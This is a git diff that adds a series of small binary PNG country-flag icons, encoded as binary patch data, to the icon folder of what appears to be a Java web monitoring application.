0000000000000000000000000000000000000000..bd90ac81d143d3e47a4fbd8441095d0c4acd2e21 GIT binary patch literal 158 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qX2U9@#P z#K6G7S>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq{W7z$e6&fuZ65|NkBh zn$H**7^FR2978H@B_|wU>9Js8VNtMg3`ulzi}|&Ifq}1(!LtA8pGgc13=E#GelF{r G5}E+nR4Bp# literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/nb.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/nb.png new file mode 100644 index 0000000000000000000000000000000000000000..76cea41d9f8f9ef4c609d938ac5d9c74f5504d14 GIT binary patch literal 243 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqk4kt>YmE1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3=#o8A+G;8IR7=&8ye0|N!k1_I{M$T6%QVK zU}9?Q%bFO;z`$VP>Eaktack;1LoNmd9+rcqmXH6}uMu+GA}}X}JDg>~jPAD+os3=M rc%E&%z*ioZ?0I#M#>cP6jIEzPVq$6A);5!Yfq}u()z4*}Q$iB}ji66I literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/nc.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/nc.png new file mode 100644 index 0000000000000000000000000000000000000000..aea11511932a5df49a73f580509dd93997af50f2 GIT binary patch literal 191 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Eufe~`T34EZfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}dHyfKP}kJNveO|Ni`A=QQrzQOUr-AnfVl7*cU7 mIUylIL?kFEX@M{=gUM0WjX$}3Ef^RW7(8A5T-G@yGywpME;9rG literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ne.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ne.png new file mode 100644 index 0000000000000000000000000000000000000000..6c42be58988c5cf5e382136dd43a6842c2d1dcb9 GIT binary patch literal 247 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqk4kt>YmE1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3@QOWA+Ai*SfX~t{QLLk-@7~irs@2fW%2LR zlYg61{x!1v+g0*!Th6~pD)X)`dC9=QVBqQE7*cU7`GEr?k4oXqiHzdR!W;(0n>RE{ w3g}t0vx{p@7w$ZL<`7rtnGPli4F-lIubJL&J1gVEz`(%Z>FVdQ&MBb@0ItGP*#H0l literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/net.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/net.png new file mode 100644 index 0000000000000000000000000000000000000000..37c1bee032b810aaa92b4f631d321bc9bff06881 GIT binary patch literal 381 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8=#{uelsFfqCYEI8=P86_ z=B6^_rWWZb7#b^Nm1gEC7#SECDj1qunV4Fc7%ONS7#bKn_FM6qfq{X&#M9T6{URGL zzrOa}gmdl;3=EtF9+AZi419+{nDKc2iWCM029|V3Uq=Rpjs4tz5?L7-7(xPkLR|m< z|DQJV41=*TgK-)|+Dzj#1_tAq#>Nb3X=%nFih;rS3`5%gnQ6wxY5!-=Of#OzV4P-r z=D%^;Oa|kbXU@ztK6A#HA?=KD+RU_>GiMru=pAz}TxMWkU@Qsp3ubV5b|Z~}fg#n? z#WAGfR_nQwd<_abECCA)x<U%$|NpmN`>4pUFmL_jWudRMyYGGyKl9Vd^t!|M!xm>5 z?PgkTi)DA1uNuB_jkLhS1*y*_sd(@(ez>>eiq=gfqkRS67M%zvi#HQe`u=C3YuMj3 a_RZ$ZE+^CsdKnlP7(8A5T-G@yGywqcZiO`f literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ng.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ng.png new file mode 100644 index 0000000000000000000000000000000000000000..4e3927017d178b079736d77349c1b6f2233146df GIT binary patch literal 220 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqk4kt>YmE1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3=#o8A+8FO)a=)~K6>;dYh8}eBpIg3tpEP~ zN!pjPdhN7K1_lO2PZ!6Kid)GEiK(fnDa=e|3e8g!HHsV?CUSDjkc^O!V3>M>d5tQg SxE%un1B0ilpUXO@geCwzc0Z^9 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ni.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ni.png new file mode 100644 index 0000000000000000000000000000000000000000..ab154d43313bd6fc41166a8d792dd0666ea0e88c GIT binary patch literal 246 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqk4kt>YmE1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3@QOWA+AhJf4sbY|NHmn-@m7io?S_r)RHx; z<<+|@+vXkFwdl;JPfwzveutR<E?{6_(D!t445_%4oUnkQU@-%mnn1#{q;xjp12Ji7 ue10l=!ra=@)<V-IITT{tL>xL7GtBj3^pfQ~d7FWOfx*+&&t;ucLK6UA7*K2g literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/nl.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/nl.png new file mode 100644 index 0000000000000000000000000000000000000000..4195ae93b34b7ac307964131e91c181a9be9c58f GIT binary patch literal 214 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqk4kt>YmE1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3_<}uA+AP3cj~g9{QLLkpP$P=K9+x6EPfJa zni&`v6g^!WLn>}1Cpa?ltkGbY+r4atB&&hJLWWB_dNdjunHU&;voJ30Vc}ZCz`(%Z M>FVdQ&MBb@0GwexlK=n! literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/nn.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/nn.png new file mode 100644 index 0000000000000000000000000000000000000000..76cea41d9f8f9ef4c609d938ac5d9c74f5504d14 GIT binary patch literal 243 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqk4kt>YmE1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3=#o8A+G;8IR7=&8ye0|N!k1_I{M$T6%QVK zU}9?Q%bFO;z`$VP>Eaktack;1LoNmd9+rcqmXH6}uMu+GA}}X}JDg>~jPAD+os3=M rc%E&%z*ioZ?0I#M#>cP6jIEzPVq$6A);5!Yfq}u()z4*}Q$iB}ji66I literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/no.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/no.png new file mode 100644 index 0000000000000000000000000000000000000000..76cea41d9f8f9ef4c609d938ac5d9c74f5504d14 GIT binary patch literal 243 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqk4kt>YmE1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3=#o8A+G;8IR7=&8ye0|N!k1_I{M$T6%QVK zU}9?Q%bFO;z`$VP>Eaktack;1LoNmd9+rcqmXH6}uMu+GA}}X}JDg>~jPAD+os3=M rc%E&%z*ioZ?0I#M#>cP6jIEzPVq$6A);5!Yfq}u()z4*}Q$iB}ji66I literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/np.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/np.png new file mode 100644 index 0000000000000000000000000000000000000000..1efd2df094f6cc5c5bad883decacb2554bfeafc7 GIT binary patch literal 288 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqk4kt>YmE1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3@QOWA+AR3t>MgZb9+v1W)b-N_s^x^kh^8& zN7i4wdiMDqJsUft^(hHQoGc%-GcYhjdb&7<RNV6IjTAbdz~kh(x#Qcv@41T>PqqKV zlwh)(g=60BRb6}Tgl%zu|C_<0cb@*{B^gd9SvD=%<ho<Z7L#?)URKVMPX4_l@z|3G ni(Wna+W#%xJIJ|c%3=Aic4p@8dj1Iv3=9mOu6{1-oD!M<`EP4D literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/nr.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/nr.png new file mode 100644 index 0000000000000000000000000000000000000000..ee3f13a86957539add7e3db47cf4eae1921d013b GIT binary patch literal 461 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD<DPvhs>BJdHI3 z$#52UL>4nJa0`Jj<E6WGe;61TSkfJR9T^xl_H+M9WMyDrjPZ1F45_%4I_aPnvm;O2 z<TF0eTX#itCkXP#?fD}5WkJQ~FqZfGn)%hga$ad(ps?bBqlRc#((2URvyb@PUK>^4 z)|j&I<P-Jgy2m|JJUAE`9VWDj7^+GfjOgHydRlzyLV!w$^HmGSjm|;*!AJKr9aRlW z)ee0k>JiFxK46hYbm)d8uEP15Lg$RuOkTrZnU$`>YL=R`slx5J-UahNTUq^*PboM~ zdC{^q>f=63!}Blvqodh&yf_}<d}fO2@rVT$f(!kpZ*%<QFd;<zceB6Z`K~h$PMo!x zAGg9ZnlEMZ#(n#@SKrGk-(|})Ri~Im^@sNVe__0Qug=bWJbCf#+vo27ovI%m*=%%n zG2d$q%R`^CCRzCGiQZfmlB;IbZneE=1<y<Y@3pmsmOp~7vGzVbdHnbJB1OxDlWl+d z+m}DTm(3sJskmd)Uv5YD{nJeintt%M-JR~PG(UaihTaWK|G)62{n_*}QojE$0|Ntt Mr>mdKI;Vst03uDmhX4Qo literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/nt.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/nt.png new file mode 100644 index 0000000000000000000000000000000000000000..7bd40c2207e109193ca6308706e537d519703d78 GIT binary patch literal 381 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8=#{uelsFfqCYEI8=P86_ z=B6^_rWWZb7#b^Nm1gEC7#SECDj1qunV4Fc7%ONS7#bKn_FM6qfq{X&#M9T6{URGL zzkyX%*8^<^1_sUokH}&M2EM}}%y>M1MG6B0153K2uOkD)#(wTUiL49^3?TtNA+G=b z|4*BFhQZjF!8nZ}ZKiP=1B3BQV`GN2v@~N7#lT>Eh9T|$%rs-;wEr__rWwy<FitZ* z^WQjaCWG<JGiPQRpE+a9kaos6ZD!icnKO++^p3d~E;BGNFqQ=Q1v5B2yOGAgz>w<c z;uunKtM%MTz6J#zmVgBYT_J_>|Nq;seN<#vn74lNvd~xB-FH8UpZRHJdfnmsVT-ej zb~7!v#j-ohR}J5|Mq1$Eg4Ab|R6KYXKiu1KMeC-L(Y}Iji%tZT#hVE!egCu2HSBL1 Z`(|@ymlJ9Ry$lQt44$rjF6*2UngF@Hg#rKo literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/nu.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/nu.png new file mode 100644 index 0000000000000000000000000000000000000000..9d2d75c54f787549ea9d54a645d8a8a4014381c9 GIT binary patch literal 280 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqk4kt>YmE1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3<d!{A+G=av79Lh_x0>I)vQ=iRP}UY)3dYs z%Q~i9@9V3|Szc&exn_;dJ|>pFB$KwN7AB?|$%D*q7#J8_JzX3_DsJuV=Hxq|Ai#7q zRXeKx|NpSt@1(sBsiZgs#XT{KdFdO>%J(imXqND~4YIX8%>1t(UEaXDEa>W^?wkdw d{J+D^*d-WedFHKVWME)m@O1TaS?83{1OV2sUb_GQ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/nz.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/nz.png new file mode 100644 index 0000000000000000000000000000000000000000..9bdd98dd95fe92272c4c58364b6597224e8e5939 GIT binary patch literal 254 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqk4kt>YmE1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3=#o8A+Bs(Qv$Rm+^?E(Qa`S?c-y}4wiJ(< z7nU6gYKt>tU|?|eba4!+xV84QA>RQ54(Gt+o}K@Dr7wltwfgFBqq11aZ-&Lr)9Y0> zX`GjJnCJF-dETa_>8DPF+~qJ3=-l}I$MQ$cmsy*yFkH$p-XO`qz`)??>gTe~DWM4f DIFePh literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/om.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/om.png new file mode 100644 index 0000000000000000000000000000000000000000..55885109038e1c9e6ded323b5cc0ef5e5165fdbb GIT binary patch literal 230 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqk4kt>YmE1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3=#o8A+GzFSYmuxn5MB9<*}SlQ@a)$|9swp zfB*j2Shc=jU|`Vpba4!+xRsocn2?x|+|I}*78ar>&1@H`kdoTW$mYeUY|P`Z!^glu cNSr}rKI0p=tMe{1FfcH9y85}Sb4q9e0NS2FApigX literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/org.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/org.png new file mode 100644 index 0000000000000000000000000000000000000000..30dd64aee9a8cd49480cb6a006717c6d742dc2b2 GIT binary patch literal 381 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8=#{uelsFfqCYEI8=P86_ z=B6^_rWWZb7#b^Nm1gEC7#SECDj1qunV4Fc7%ONS7#bKn_FM6qfq{X&#M9T6{URGL zzrLXYlesMe0|RG)M`SSr1K(i~W;~w1B87p0fhFD1*O7r?V?XzwL{<g{hL8ZC5ZC|z z|EJA7!(eR8V4TK~Hq$tbfx&pDu`xqhTADG4Vqh>n!;toWW}2~a+W(m|(~M^_7^fMZ z`EQ&ylfiiAnKLtu&zv!4NIPSkHZyJJ%$dd@ddJ)gml+rs7)yfuf*Bm1-AH3#U`X|J zaSW-r)q3tEUxNY<OTYqyu8_j`|NrgRJ}NRS%v(QsS?DY6?z^AF&-}D9z3%Y+u*F$M zyP1~TV%Z($tA=k}BQ5Z7LF%(fDjqzHAMWkAqIFZrXkWp%MJEEv;?0DVzW-V18umAh ZeX}{U%Lz4uUIqpR22WQ%mvv4FO#mB>gMR=3 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/pa.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/pa.png new file mode 100644 index 0000000000000000000000000000000000000000..cc4ae8de8663c621606218cf82c9704da36e48bc GIT binary patch literal 265 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqk4kt>YmE1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3@QOWA+F5KfBydc{qMwy@9)0+V`ll6knk@n z=ijY6LPCEoUHWtU_@A`2Ki>^fw=ys=IC;7_hE&`NJ#(9jL4kw$!ql*7|Nrm5`ShSK zo18#k+!xl3e#?Yq=k3f%^;5i*&b&x1=-dN!J~xw%!n3!XSv6JT$ZXz6PK?`+*81&b QU|?YIboFyt=akR{0CaO;$^ZZW literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/pe.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/pe.png new file mode 100644 index 0000000000000000000000000000000000000000..e799dced423c5c54cc5b1405e38e489c4b1d5ae3 GIT binary patch literal 238 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqk4kt>YmE1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3=#o8A+9r-S$1Y+eEs%m{{AUPZf{Ta)9lJ~ zsh?lJ_W$od1_lOWPZ!6Kid)GE3`}ln3JEC<j6yqgG-AZc(!^BsCLHfOlA4z4`fSsN lO^VuSNok7rB@Of#{5~)oxKSZh&cMLH;OXk;vd$@?2>{evN*(|J literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/pf.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/pf.png new file mode 100644 index 0000000000000000000000000000000000000000..4f60b16427df8d0c78990e7d4355e9abfdb3f130 GIT binary patch literal 276 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqk4kt>YmE1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^47ve6A+G<JSbk6GyOB5L-@l(tO@FE@f2~;Y zCnxsPvqx9D?AHAImwIN`nRj|B?{<aU^9tcVZY{^az~JKP;uunKYih5fP=f*wbMyvY zmaqTMr!uhGZd(2(#Ypg`W4%Yt2fsH9wJYP|uLez7uXf(y+fAv22q}JJ`P+p8hl;m2 av+nR>+}e40MgRi?1B0ilpUXO@geCx4DP!0G literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/pg.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/pg.png new file mode 100644 index 0000000000000000000000000000000000000000..4ea06e3406fa6dfcb32e61f93148fd6214d596c8 GIT binary patch literal 215 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8u$OrHy0Ty7;^$Qno!s&J zFarYvXMsm#F#`j)5C}6~x?A^$fq{V~-O<;Pfnj4m_n$;o1_lP{0G|+71_p+;3=H4D ze?P{+@O}=%|Njid3=Gd(7z`O08ksg0FfcIKd%8G=RNM+Z6Uf(~z{7HpG4jhlb+bav zO@AM?W+uiRXE<MVYKiWt68)F|ZglSWwNUB*)5{e*t2*j0?cUm%=^3~3Afv&{%c{H# P3=9mOu6{1-oD!M<u>DAG literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ph.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ph.png new file mode 100644 index 0000000000000000000000000000000000000000..d252607a67c973f952a9883756c8f727c60f0dc6 GIT binary patch literal 267 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqk4kt>YmE1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3@QOWA+G--BmXh8{`>dg-?|n5{>}gN?8Co* zR!5HfVPXC~W5$n+j6YUZf0k$%TxDQjaPf3;45_#kdd^d*!GMR^(R1VGkN^KOX?ncb zS^84xj9hcC&sGo5I#sXF7qX_hEjbw#b#~{kh##MMdA{h{nREGjC<z>uJ`>Dr7r<w) Rz`(%3;OXk;vd$@?2>>9!U(Emj literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/pk.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/pk.png new file mode 100644 index 0000000000000000000000000000000000000000..bc0ad1352638be57817e9d5dc2d527a0211d2fa0 GIT binary patch literal 269 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqk4kt>YmE1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3@QOWA+G=a{kiw<4pTi#(29T!H`X^DYDrul zU%IR0#FG=E-C}05&D1BWpMBIF!@$7c=IP=XQgN&HTp(A20T1(q8KrkG-Tl8$E90)q znfr?;urZjWeK>pJOhJ)G=JBQdv#nm9+_3bOYhvvc>6PuQS8tmvj`%BCnaaL{n{lhd U;=S7$7#J8lUHx3vIVCg!0Q`JnQvd(} literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/pl.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/pl.png new file mode 100644 index 0000000000000000000000000000000000000000..a6e3c5678b22d9fd522a8ef499ba2e62d54aa33a GIT binary patch literal 241 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqk4kt>YmE1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^459%(A+CS88UAuJ{NZ8v%fs;R=g)ut{{8>| zUuzYg3<Cp$rKgKyNX4z%)6skk1}rQG?%Lh?f5P=^^6V|m9Smv)u07kdrPe)uo-fDW ps5jw-XISyR1eRGV-ZrjhO+C(3<1yhyECT}rgQu&X%Q~loCIEAiPx1f& literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/pr.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/pr.png new file mode 100644 index 0000000000000000000000000000000000000000..9abe52a602353c39bf95b109118be3f9d2456007 GIT binary patch literal 313 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj#7kTwN}P*Q6H7Al^Atid zb5j`%jr1+`jSLKoQeU4BWnf@nFY)wsWxvG3B`U5W#UyRZz`(#+;1OBOz`*qZgc+UI zn9N{cU|>mi^mSxl*x1kgCy|wbfx#faC&cx=1jBa`hWCmL?=>0j=}P=oWmse$^0T=x z$YoK0&$?Luwd-aaeDUDj|L6DqfB*jf|NmVDn@SlN7&1Lw978H@C3~2%F}GzNJa+7q zLsjaki4!Mo5<0x<YPn-W;?-5f@9*vXd3;0C)j79rmuE}vsw=lJ;F2(0W3}~CBO^!H z+Njuld-u#ryn5>I|Hg*It8ePxH#8)sc5!nU_!OJ+vNE+jOW0t`Fge%IjC;|Y1q=)f N44$rjF6*2UngIT(b$kE- literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/pro.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/pro.png new file mode 100644 index 0000000000000000000000000000000000000000..7bd40c2207e109193ca6308706e537d519703d78 GIT binary patch literal 381 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8=#{uelsFfqCYEI8=P86_ z=B6^_rWWZb7#b^Nm1gEC7#SECDj1qunV4Fc7%ONS7#bKn_FM6qfq{X&#M9T6{URGL zzkyX%*8^<^1_sUokH}&M2EM}}%y>M1MG6B0153K2uOkD)#(wTUiL49^3?TtNA+G=b z|4*BFhQZjF!8nZ}ZKiP=1B3BQV`GN2v@~N7#lT>Eh9T|$%rs-;wEr__rWwy<FitZ* z^WQjaCWG<JGiPQRpE+a9kaos6ZD!icnKO++^p3d~E;BGNFqQ=Q1v5B2yOGAgz>w<c z;uunKtM%MTz6J#zmVgBYT_J_>|Nq;seN<#vn74lNvd~xB-FH8UpZRHJdfnmsVT-ej zb~7!v#j-ohR}J5|Mq1$Eg4Ab|R6KYXKiu1KMeC-L(Y}Iji%tZT#hVE!egCu2HSBL1 Z`(|@ymlJ9Ry$lQt44$rjF6*2UngF@Hg#rKo literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ps.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ps.png new file mode 100644 index 0000000000000000000000000000000000000000..19157ee0e1980b8c3e26d795ec3d2e1558afd6e6 GIT binary patch literal 222 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+=)bMYz&eCYVe zz`(%3S>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq_9Qz$e7jshELb4#P1; zhW`u<#Vv+GdxQR4TK@n4|Nq{-#fFAKK|#kr<}o-iFkF6nqnLq#!Q9iuF{I*F@{VFQ z9*J)bnb8`#yi0r2*D^7(J^oT8kYKRQVR7Q4bqf^^B&cw(@vsF%33?ejWiUvzYCOKx R7^Vv{&ePS;Wt~$(695u3K}`Sv literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/pt.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/pt.png new file mode 100644 index 0000000000000000000000000000000000000000..06b747f6dacc4a4227f556bfc5eddbaac52a3140 GIT binary patch literal 249 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqk4kt>YmE1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3=#o8A+8}+LHz*+KbcvscE()r)_b5XerL;) zi|4mo^DC=iU|_KGba4!+xYc_ukn4Z}2lIs+Dpmib^IP+N-TZSxc>$C4M!y2b8_n-S yCTpF#yUFNE$x`>#D(o9&K3~}W^4043{4F_*?gy?lw=ys=FnGH9xvX<aXaWEiBUQWr literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/py.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/py.png new file mode 100644 index 0000000000000000000000000000000000000000..63afcaffc2964f7216b3b39170c50201dbf01d8e GIT binary patch literal 256 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqk4kt>YmE1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3@QOWA+AhJf1)CPM`>O8_xJb7X-8fkyVJ6& zV%o+XWv5*JMMVA6()q{4QtW2FhJk^>($mE;q~ccc12;w<l|svd4ctzJMh49c+}7MP z(%6b4Z(81noVX(=C&wcuO)P9ilAA$7Q$P=o2m?b<8uRhC33o*p7#J8lUHx3vIVCg! E07#ip;Q#;t literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/qa.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/qa.png new file mode 100644 index 0000000000000000000000000000000000000000..ea078df438cf3207fd90e010a00a89d1e4b8d228 GIT binary patch literal 242 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqk4kt>YmE1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3=#o8A+C?_+_^Go;vyaWpFh8^Vr9QvRsU?m 